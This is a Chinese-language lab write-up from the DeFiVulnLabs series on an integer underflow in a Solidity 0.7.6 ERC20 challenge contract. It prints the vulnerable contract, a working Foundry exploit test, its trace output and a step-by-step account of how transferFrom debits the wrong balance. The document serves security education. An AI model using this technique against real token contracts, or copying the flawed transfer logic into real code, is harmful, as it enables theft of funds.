# DeFiVulnLabs靶场（一）溢出漏洞2

[DeFiVulnLabs详解汇总 \[作者 Ice ThirdSpace\]](https://mp.weixin.qq.com/mp/appmsgalbum?action=getalbum&__biz=MzkwMTc2MDE3OA==&scene=1&album_id=3648797921547190277&count=3&uin=&key=&devicetype=Windows+XP1&version=6302019c&lang=zh_CN&ascene=1&fontgear=2)

* EXP
    

[https://github.com/SunWeb3Sec/DeFiVulnLabs/blob/main/src/test/Overflow2.sol](https://github.com/SunWeb3Sec/DeFiVulnLabs/blob/main/src/test/Overflow2.sol)

* 漏洞合约源码
    

```plaintext

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

contract TokenWhaleChallenge {
    address player;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    string public name = "Simple ERC20 Token";
    string public symbol = "SET";
    uint8 public decimals = 18;

    function TokenWhaleDeploy(address _player) public {
        player = _player;
        totalSupply = 1000;
        balanceOf[player] = 1000;
    }

    function isComplete() public view returns (bool) {
        return balanceOf[player] >= 1000000;
    }

    event Transfer(address indexed from, address indexed to, uint256 value);

    function _transfer(address to, uint256 value) internal {
        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;

        emit Transfer(msg.sender, to, value);
    }

    function transfer(address to, uint256 value) public {
        require(balanceOf[msg.sender] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);

        _transfer(to, value);
    }

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function approve(address spender, uint256 value) public {// 可见性 public 任何人都可以调用
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
    }

    function transferFrom(address from, address to, uint256 value) public {
        require(balanceOf[from] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);
        require(allowance[from][msg.sender] >= value);

        allowance[from][msg.sender] -= value;
        _transfer(to, value);
    }
}
```

* 攻击合约
    

```plaintext
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
// this need to be older version of solidity from 0.8.0 solidty compiler checks for overflow and underflow

pragma abicoder v2;

import "../src/Overflow2.sol";
import "forge-std/Test.sol";

contract ContrastTest is Test {
    TokenWhaleChallenge TokenWhaleChallengeContract;

    function testOveflow2() public {
        address alice = vm.addr(1);
        address bob = vm.addr(2);
        TokenWhaleChallengeContract = new TokenWhaleChallenge();

        TokenWhaleChallengeContract.TokenWhaleDeploy(address(this));

        console.log("Player Balance is" , TokenWhaleChallengeContract.balanceOf(address(this)));

        TokenWhaleChallengeContract.transfer(alice, 800);

        vm.prank(alice);
        TokenWhaleChallengeContract.approve(address(this), 1000);
        TokenWhaleChallengeContract.transferFrom(address(alice), address(bob), 500);
        console.log("Exploit completed, balance overflowed");
        console.log("Player Balance is" , TokenWhaleChallengeContract.balanceOf(address(this)));
        console.log("Aice Balance is" , TokenWhaleChallengeContract.balanceOf(address(alice)));
        console.log("Bob Balance is" , TokenWhaleChallengeContract.balanceOf(address(bob)));
   }
    receive() external payable{}
}
```

* 测试结果
    

```plaintext
$ forge test Overflow2.t.sol -vvvv
[?] Compiling...
No files changed, compilation skipped

Ran 1 test for test/Overflow2.t.sol:ContrastTest
[PASS] testOveflow2() (gas: 879951)
Logs:
  Player Balance is 1000
  Exploit completed, balance overflowed
  Player Balance is 115792089237316195423570985008687907853269984665640564039457584007913129639636
  Aice Balance is 800
  Bob Balance is 500

Traces:
  [879951] ContrastTest::testOveflow2()
    ├─ [0] VM::addr(<pk>) [staticcall]
    │   └─ ← [Return] 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf
    ├─ [0] VM::addr(<pk>) [staticcall]
    │   └─ ← [Return] 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF
    ├─ [677604] → new TokenWhaleChallenge@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
    │   └─ ← [Return] 3049 bytes of code
    ├─ [66965] TokenWhaleChallenge::TokenWhaleDeploy(ContrastTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← [Stop]
    ├─ [469] TokenWhaleChallenge::balanceOf(ContrastTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall]
    │   └─ ← [Return] 1000
    ├─ [0] console::log("Player Balance is", 1000) [staticcall]
    │   └─ ← [Stop]
    ├─ [25347] TokenWhaleChallenge::transfer(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, 800)
    │   ├─ emit Transfer(from: ContrastTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], to: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, value: 800)
    │   └─ ← [Stop]
    ├─ [0] VM::prank(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf)
    │   └─ ← [Return]
    ├─ [24413] TokenWhaleChallenge::approve(ContrastTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 1000)
    │   ├─ emit Approval(owner: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, spender: ContrastTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], value: 1000)
    │   └─ ← [Stop]
    ├─ [26123] TokenWhaleChallenge::transferFrom(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF, 500)
    │   ├─ emit Transfer(from: ContrastTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], to: 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF, value: 500)
    │   └─ ← [Stop]
    ├─ [0] console::log("Exploit completed, balance overflowed") [staticcall]
    │   └─ ← [Stop]
    ├─ [469] TokenWhaleChallenge::balanceOf(ContrastTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall]
    │   └─ ← [Return] 115792089237316195423570985008687907853269984665640564039457584007913129639636 [1.157e77]
    ├─ [0] console::log("Player Balance is", 115792089237316195423570985008687907853269984665640564039457584007913129639636 [1.157e77]) [staticcall]
    │   └─ ← [Stop]
    ├─ [469] TokenWhaleChallenge::balanceOf(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf) [staticcall]
    │   └─ ← [Return] 800
    ├─ [0] console::log("Aice Balance is", 800) [staticcall]
    │   └─ ← [Stop]
    ├─ [469] TokenWhaleChallenge::balanceOf(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) [staticcall]
    │   └─ ← [Return] 500
    ├─ [0] console::log("Bob Balance is", 500) [staticcall]
    │   └─ ← [Stop]
    └─ ← [Stop]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 21.57ms (8.08ms CPU time)

Ran 1 test suite in 247.47ms (21.57ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

* 过程
    

TokenWhaleChallenge代币地址 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f

初始化 TokenWhaleChallenge 代币所有者 owner 为当前合约地址 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496

所有者owner持有数量=供应总量=1000

alice地址 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf

所有者 owner 调用 TokenWhaleChallengeContract.transfer 函数，给alice转移800代币

此时的 msg.sender=所有者 owner

所有者 owner 代币余额=200，alice 代币余额=800

bob地址 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF

换用alice地址

approve 函数可见性是 public 所以任何人都可以调用该函数

此时的 msg.sender=alice，授权当前合约为支出者 spender，授权额度 1000

调用 TokenWhaleChallengeContract.transferFrom 函数

源地址=alice, 目的地址=bob, 数量=500

支出者 spender 也就是\[当前合约\]向 bob 转移 500

但当前合约余额只有200，发生下溢出

交易后：alice 代币余额=800，bob 代币余额=500， 所有者 owner 代币余额=115792089237316195423570985008687907853269984665640564039457584007913129639636

* 授权转账机制
    

代币持有者调用 approve：持有者需要执行一次交易，授权指定的 spender 地址可支配一定数量的代币

授权地址调用 transferFrom：spender 调用 transferFrom 来从 owner 账户转移代币

* 主要参考文章
    

```plaintext
https://learnblockchain.cn/article/17943

https://www.cnblogs.com/zhanchenjin/p/18762078

https://www.cnblogs.com/zhanchenjin/p/18411308
```
